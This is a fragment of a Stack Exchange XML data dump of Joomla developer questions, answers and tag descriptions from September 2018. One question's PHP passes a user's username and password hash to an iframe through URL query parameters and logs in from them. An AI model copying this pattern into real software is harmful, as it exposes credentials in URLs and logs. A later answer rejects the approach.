LastActivityDate="2018-09-18T07:39:17.613" Title="Remove unwanted Joomla Scripts in version 3.8.x curious not working" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23474" PostTypeId="2" ParentId="23468" CreationDate="2018-09-17T20:53:34.003" Score="1" Body="&lt;p&gt;What I actually ended up doing was installing JCE MediaBox and turning all of my images in to modal image popup links.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clearer what I was doing was adding a lesson on using a forum with example screenshots, unfortunately I took the screenshots on the desk top version of the website so on mobile devices the text in the images was too small to read without so horrible resizing.  By turning them in to popup modals they were viewable again.&lt;/p&gt;&#xA;" OwnerUserId="12751" LastActivityDate="2018-09-17T20:53:34.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23475" PostTypeId="2" ParentId="23473" CreationDate="2018-09-18T07:39:17.613" Score="2" Body="&lt;p&gt;Using template to manipulate head data has never been correct. Instead you should use a system plugin with &lt;code&gt;onBeforeCompileHead&lt;/code&gt; event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System#onBeforeCompileHead&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/System#onBeforeCompileHead&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-09-18T07:39:17.613" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23477" PostTypeId="1" AcceptedAnswerId="23486" CreationDate="2018-09-18T14:06:32.760" Score="2" ViewCount="1306" Body="&lt;p&gt;I've got two (almost) similar Joomla sites (same users, configuration etc) forming an Intranet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One site is integrated on the other using an iframe and I need the user to be logged in on both instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I avoid the user having to log in on both sites? In other words: How can I achieve the user being automatically logged in on the iframe depending on the parent website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I tried so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This code is executed on the parent (non-iframe)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$user = JFactory::getUser();&#xA;$name = $user-&amp;gt;username;&#xA;$pw = $user-&amp;gt;password;&#xA;?&amp;gt;&#xA;&amp;lt;iframe height=&quot;500px&quot; width=&quot;100%&quot; src=&quot;http://[myurl]/Joomla-Test/pw?n=&amp;lt;?php echo $name;?&amp;gt;&amp;amp;p=&amp;lt;?php echo $pw; ?&amp;gt;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This code is executed on the child (iframe)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$name = $_GET[&quot;n&quot;];&#xA;$pw = $_GET[&quot;p&quot;];&#xA;&#xA;$credentials = array();&#xA;$credentials['username'] = $name;&#xA;$credentials['password'] = $pw;&#xA;&#xA;$options = array();&#xA;$options['remember'] = (bool) &quot;false&quot;;&#xA;&#xA;$app = JFactory::getApplication();&#xA;&#xA;$app-&amp;gt;login($credentials, $options)&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind this is a closed Intranet, so security is not much of an issue.&#xA;What this is supposed to do, is pass the username and encrypted password as GET parameters to the iframe (same users and passwords) and then log in using these parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the &lt;code&gt;JFactory::getApplication()-&amp;gt;login()&lt;/code&gt; always returns false (login failed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I correctly implement this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this could be achieved by passing the username and encrypted password to the right function at the right time. I just don't know which function uses the encrypted password or at what point the password is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone with better knowledge of the Joomla Codebase point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="12808" LastEditorUserId="12808" LastEditDate="2018-09-19T11:29:46.753" LastActivityDate="2018-09-19T21:28:30.270" Title="User Login passthrough in iframe" Tags="|login|authentication|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23478" PostTypeId="1" AcceptedAnswerId="23483" CreationDate="2018-09-18T15:41:25.940" Score="1" ViewCount="777" Body="&lt;p&gt;In a custom component I'm making, I need the user, in his private area, to choose the default language for the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a custom form, and I already render the language selector, but I don´t know how to change the user's parameters programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the user to choose the language and when saving the web has to change language if a different one is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is very appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2018-09-24T05:40:54.613" Title="Change user default language programmatically" Tags="|development|multilingual|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23479" PostTypeId="1" AcceptedAnswerId="23481" CreationDate="2018-09-19T07:44:58.587" Score="1" ViewCount="136" Body="&lt;p&gt;In order to get the whole POST I do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app        = JFactory::getApplication();&#xA;$jinput     = $app-&amp;gt;input;&#xA;$data       = $jinput-&amp;gt;getArray($_POST);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that works ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to apply the filter JREQUEST_ALLOWHTML.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data       = $jinput-&amp;gt;getArray($_POST, JREQUEST_ALLOWHTML);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does not work. I have tried several ways but at the ends the only one that works for me is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data       = JRequest::get( 'post', JREQUEST_ALLOWHTML );    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as JRquest is deprecated I wonder if there is another way to get the whole post in an array with JREQUEST_ALLOWHTML filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2018-09-19T08:30:56.113" Title="Get whole POST with JREQUEST_ALLOWHTML" Tags="|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23480" PostTypeId="2" ParentId="23478" CreationDate="2018-09-19T08:08:24.923" Score="2" Body="&lt;p&gt;If you want to change the language of the site, you can store the language in the user param language and you will have to load it on your condition on plugin events such as onAfterRoute or onBeforeCompileHead that suits you better, as loading language should be done before the content is prepared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As plugin event such as this is triggered at both front and admin end so you will need to place your code in proper conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set desired language using :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;setLanguage(&quot;hi-IN&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But place this code in proper condition so only the intended user's language is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps, if anyone has a better way please post an answer.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-09-19T08:08:24.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23481" PostTypeId="2" ParentId="23479" CreationDate="2018-09-19T08:30:56.113" Score="2" Body="&lt;p&gt;This should be the rough equivalent. Retrieve unfiltered (&lt;code&gt;raw&lt;/code&gt;) input and then filter it with custom filter instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;getArray(array(), null, 'raw');&#xA;$data = JFilterInput::getInstance(null, null, 1, 1)-&amp;gt;clean($data, null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-09-19T08:30:56.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23482" PostTypeId="1" AcceptedAnswerId="23484" CreationDate="2018-09-19T11:19:28.850" Score="2" ViewCount="158" Body="&lt;p&gt;Users are complaining that, since they must be registred to post an article, there is no need to have a captcha (google re-captcah) in the article creation page on the front-end...&lt;br&gt;&#xA;Does anyone know a way to restrict the pages on which the captcha will be activated ? I haven't seen anything like that :(&lt;/p&gt;&#xA;" OwnerUserId="5691" LastActivityDate="2018-09-19T15:12:37.253" Title="Disabling recaptcha on certain pages" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23483" PostTypeId="2" ParentId="23478" CreationDate="2018-09-19T12:13:45.383" Score="1" Body="&lt;p&gt;Run this after saving other data in your model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if (!$user-&amp;gt;guest)&#xA;{&#xA;    $user-&amp;gt;setParam('language', $language);&#xA;    $user-&amp;gt;save();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$language&lt;/code&gt; is the language from form data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have to bind the data to form so that selected option is shown as selected.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-09-24T05:40:54.613" LastActivityDate="2018-09-24T05:40:54.613" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23484" PostTypeId="2" ParentId="23482" CreationDate="2018-09-19T15:12:37.253" Score="4" Body="&lt;p&gt;Go to Articles Global Configuration. In Editing Layout tab set Allow Captcha on submit to None Selected.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-09-19T15:12:37.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23485" PostTypeId="1" CreationDate="2018-09-19T17:19:26.067" Score="0" ViewCount="361" Body="&lt;p&gt;Hello I get this jquery error after my last kunena update to 3.8.10: &quot;Uncaught TypeError: $(...).insertAtCaret is not a function&quot;. You can see the complete error in the following capture:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IXsqB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IXsqB.jpg&quot; alt=&quot;capture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error occours when users try to insert attached files to a kunena post. Attaching files does work good, but insert the file doesn't.&#xA;I have checked a new template and this new template solves the problem. Obviously there is a incompatibility problem between Joomla 3.8.10 and my template. However, I would like to keep this old template, because it has a lot of customization I wouldn't like to lose.&#xA;Could you help me to solve this jquery error in order to keep this template?&#xA;I promise I will not update joomla for a long time :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: more info, mi site loads jquery 1.12.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- JQuery --&amp;gt;&#xA;&amp;lt;script src=&quot;https://code.jquery.com/jquery-1.12.4.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;https://code.jquery.com/ui/1.12.1/jquery-ui.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12715" LastActivityDate="2018-09-27T20:17:01.003" Title="JQuery error after joomla 3.8.10 update" Tags="|jquery|kunena|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23486" PostTypeId="2" ParentId="23477" CreationDate="2018-09-19T21:28:30.270" Score="1" Body="&lt;p&gt;Certainly what you have presented in your question, is not the way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way would be to have shared user sessions for the 2 sites. There are some extensions that would help you with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/multisites-single-sign-in-for-domains/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/multisites-single-sign-in-for-domains/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://alterbrains.com/joomla-extensions/administration/multisites-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://alterbrains.com/joomla-extensions/administration/multisites-manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach, could be to write some custom user authentication plugins for the main and the iframe sites, and create a communication between them, so once the user logs in into the main site, your plugin will communicate with the other site to trigger the user authentication there as well - and the same should happen for the log-out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried it and it's also late here to think it a lot - but in theory something like this could work.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-09-19T21:28:30.270" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23488" PostTypeId="5" CreationDate="2018-09-21T03:48:50.110" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Category&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Category Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Every part of Joomla! powered web site or any CMS type of web site needs a method to display and store its content logically. The usual method is by categories and subcategories. Joomla! allows for multiple ways to display and use content controlled by categorisation. Some of the content types which have categorisation are articles (Main content of web pages), banners, contacts and web links.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:49:55.707" LastActivityDate="2018-09-23T05:49:55.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23489" PostTypeId="4" CreationDate="2018-09-21T03:48:50.110" Score="0" Body="Joomla! Categories are used to logically group content-type data." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:49:33.770" LastActivityDate="2018-09-23T05:49:33.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23490" PostTypeId="5" CreationDate="2018-09-21T03:52:59.363" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_image&quot; rel=&quot;nofollow noreferrer&quot;&gt;image&lt;/a&gt; tag is for questions related to the loading, formatting, saving, and display of images in the context of source code. Images are typically rendered as a two dimensional matrix of pixels for the case of gray-scale images, or a multidimensional matrix of pixels in the case of color images (&lt;a href=&quot;/questions/tagged/rgb&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;rgb&amp;#39;&quot; rel=&quot;tag&quot;&gt;rgb&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/cymk&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;cymk&amp;#39;&quot; rel=&quot;tag&quot;&gt;cymk&lt;/a&gt;, etc).  These may be stored in a variety of formats such as &lt;a href=&quot;/questions/tagged/jpg&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;jpg&amp;#39;&quot; rel=&quot;tag&quot;&gt;jpg&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/png&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;png&amp;#39;&quot; rel=&quot;tag&quot;&gt;png&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/gif&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;gif&amp;#39;&quot; rel=&quot;tag&quot;&gt;gif&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/bmp&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;bmp&amp;#39;&quot; rel=&quot;tag&quot;&gt;bmp&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/tif&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;tif&amp;#39;&quot; rel=&quot;tag&quot;&gt;tif&lt;/a&gt;, and others (See &lt;a href=&quot;http://en.wikipedia.org/wiki/Image_file_formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;Image file formats&lt;/a&gt; for further information)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;References&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Image_file_formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;Image file formats&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_image_file_formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;Comparison of graphics file formats&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:50:55.573" LastActivityDate="2018-09-23T05:50:55.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23491" PostTypeId="4" CreationDate="2018-09-21T03:52:59.363" Score="0" Body="The images tag is for questions related to the loading, formatting, saving,and display of images in the context of source code. This tag should also be used for assistance using various image libraries." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:50:51.023" LastActivityDate="2018-09-23T05:50:51.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23492" PostTypeId="5" CreationDate="2018-09-21T03:59:37.447" Score="0" Body="&lt;p&gt;Most notably, Joomla!3.8 has an improved routing system.  This means better control over the URL structure with the intention to improve SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.8 also takes steps to ease the transition into the next major version - Joomla!4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://www.joomla.org/3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;What's new in Joomla! 3.8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:51:00.573" LastActivityDate="2018-09-23T05:51:00.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23493" PostTypeId="4" CreationDate="2018-09-21T03:59:37.447" Score="0" Body="For questions regarding version 3.8 of the Joomla Content Management System." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:50:01.027" LastActivityDate="2018-09-23T05:50:01.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23494" PostTypeId="5" CreationDate="2018-09-21T05:16:37.320" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Metadata&quot; rel=&quot;nofollow noreferrer&quot;&gt;Metadata&lt;/a&gt; may refer to either descriptive, structural or administrative metadata, which is data about data content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Descriptive&lt;/strong&gt; metadata describes elements such as title, abstract, author, and keywords to be associated with a document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Structural&lt;/strong&gt; metadata describes the types, versions, relationships and other characteristics of documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Administrative&lt;/strong&gt; metadata provides information such as when and how a document was created, file type and other technical information, and who can access it.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:50:14.993" LastActivityDate="2018-09-23T05:50:14.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23495" PostTypeId="4" CreationDate="2018-09-21T05:16:37.320" Score="0" Body="Meta-data provides information about one or more aspects of the data. Meta-data may refer to either structural metadata (data about the containers of data) or descriptive metadata (data about data content)." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:50:40.120" LastActivityDate="2018-09-23T05:50:40.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23496" PostTypeId="5" CreationDate="2018-09-21T05:21:09.793" Score="0" Body="&lt;p&gt;A &lt;a href=&quot;https://en.wikipedia.org/wiki/Variable_%28computer_science%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;variable&lt;/a&gt; is a named data storage location in memory. Using variables a computer program can store numbers, text, binary-data, or a combination of any of these data types. They can be passed around in code between functions or even between applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Variables only accessible within a certain functions are termed &lt;em&gt;&quot;local variables&quot;&lt;/em&gt;. A &lt;em&gt;&quot;global variable&quot;&lt;/em&gt;, or one with indefinite scope, may be referred to anywhere in the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some programming-languages, variables are constrained by a specific data type. Data types may vary across languages, but share many commonalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Primitive_data_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;Primitive data types&lt;/a&gt; usually include: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;character, char, string, varchar (text)&lt;/li&gt;&#xA;&lt;li&gt;byte, short, int, tinyint, integer, long (whole numbers)&lt;/li&gt;&#xA;&lt;li&gt;double, decimal, float (real numbers)&lt;/li&gt;&#xA;&lt;li&gt;bit, boolean (true/false)&lt;/li&gt;&#xA;&lt;li&gt;date, datetime (date and time values)&lt;/li&gt;&#xA;&lt;li&gt;object (any value, including composite types)&lt;/li&gt;&#xA;&lt;li&gt;binary, raw, varbinary (that store stream of system data in binary form)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Composite_data_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;Composite data types&lt;/a&gt; consists of primitive types, and even other composite types.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# an example composite type, in pseudo code&#xA;Person(&#xA;    'First name'  : string,&#xA;    'Surname'     : string,&#xA;    'Birthday'    : date,&#xA;    'CanProgram'  : boolean&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some languages contain extra primitives: Tuples (Python), Linked Lists (Lisp), Hash Tables (Lisp, Perl, Python, Lua, D).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some programming languages allow variables that store functions, that can be stored in data structures, passed as parameters to other functions, or returned as a result from other functions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Memory allocation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The specifics of variable allocation and the representation of their values vary widely, both among programming languages and among implementations of a given language. Many language implementations allocate space for local variables, whose extent lasts for a single function call on the call stack, and whose memory is automatically reclaimed when the function returns. More generally, in name binding, the name of a variable is bound to the address of some particular block (contiguous sequence) of bytes in memory, and operations on the variable manipulate that block. Referencing is more common for variables whose values have large or unknown sizes when the code is compiled. Such variables reference the location of the value instead of storing the value itself, which is allocated from a pool of memory called the heap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information and reference material on &lt;a href=&quot;https://en.wikipedia.org/wiki/Variable_(programming)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:50:34.963" LastActivityDate="2018-09-23T05:50:34.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23497" PostTypeId="4" CreationDate="2018-09-21T05:21:09.793" Score="0" Body="A variable is a named unit of data storage in memory." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-23T05:50:21.667" LastActivityDate="2018-09-23T05:50:21.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23498" PostTypeId="1" CreationDate="2018-09-21T06:37:24.050" Score="0" ViewCount="303" Body="&lt;p&gt;I am developing component for Joomla and I do not know how to make cron. I can not use linux commands because it is complicated for users. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12674" LastActivityDate="2018-09-26T19:41:02.850" Title="Joomla component cron" Tags="|joomla-api|" AnswerCount="1" CommentCount="9" ClosedDate="2018-09-26T14:23:24.013" ContentLicense="CC BY-SA 4.0" />
  <row Id="23499" PostTypeId="2" ParentId="23458" CreationDate="2018-09-21T07:41:07.157" Score="0" Body="&lt;p&gt;As stated in my edit of the question, the solution was to include&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\JPluginHelper::importPlugin('system');&#xA;\JEventDispatcher::getInstance()-&amp;gt;trigger('onAfterInitialise');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = \JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2018-09-21T07:41:07.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23500" PostTypeId="2" ParentId="23498" CreationDate="2018-09-21T08:50:40.603" Score="2" Body="&lt;p&gt;I understand from your question, that want to run a scheduled task on your Joomla component, but you don't want to use a cron job by the operating system, because the user of your component would have to set it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it is no possible to start scheduled tasks from within Joomla, because Joomla is not running all the time. The server just executes the script, once a user issues a request with a browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you can do within Joomla is to attach the execution of some code to a request by a user (a Joomla plugin might be suitable) and remember that by storing the info in the file system or the database, to prevent executing it on every request by a user. In this case you have no influence on the time of the execution though. This might be a problem if you need the task to be executed hourly, because you might not have requests by night. It might also be a problem on low traffic sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think you can expect the user of your component to be able to set up a cron or the hire someone to do it. There are many other Joomla components like JomSocial that also require cron jobs.&lt;/p&gt;&#xA;" OwnerUserId="12705" LastEditorUserId="12705" LastEditDate="2018-09-26T19:41:02.850" LastActivityDate="2018-09-26T19:41:02.850" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23501" PostTypeId="1" CreationDate="2018-09-21T14:00:57.117" Score="0" ViewCount="52" Body="&lt;p&gt;You choose the framework and extension for your new website project and actually all is set. The designer sends you some Photohop files with new design. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to find online some instruction what are the best first steps to implement the design in Joomla, but i didn't find any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you start your project? Do you first make a plain HTML site with all the features needed (with JS and CSS stuff) or do you start implementing  the design directly to a Joomla template? &lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2018-09-23T13:59:35.107" Title="How do you start new project design implementation?" Tags="|joomla-3.x|development|responsive-web-design|" AnswerCount="1" CommentCount="2" ClosedDate="2018-09-26T14:22:53.223" ContentLicense="CC BY-SA 4.0" />
  <row Id="23502" PostTypeId="2" ParentId="23501" CreationDate="2018-09-23T13:53:12.097" Score="1" Body="&lt;p&gt;I like to use zurb foundation as my base, and as Joomla 3.X is coupled with bootstrap – this is my process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;design homepage in photoshop/XD&lt;/li&gt;&#xA;&lt;li&gt;build a custom static html site using foundation (eg homepage). I prefer this approach as I don't need to think about php or entering content. I have started to use avocode to speed it up the XD to code conversion.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then I start to build the joomla template from scratch - I have studied or used as a base:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Lyquix/tpl_lyquix&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Lyquix/tpl_lyquix&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/gsuez/master-bootstrap-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gsuez/master-bootstrap-3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Bloggerschmidt/Blank&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Bloggerschmidt/Blank&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomlafuture.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomlafuture.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/RemcoJanssen/foundation6-template&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/RemcoJanssen/foundation6-template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/robwent/joomlapure&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/robwent/joomlapure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/construct-framework/bootstruct/blob/develop/elements/logic.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/construct-framework/bootstruct/blob/develop/elements/logic.php&lt;/a&gt;&#xA;to work out what I want - but now have my own 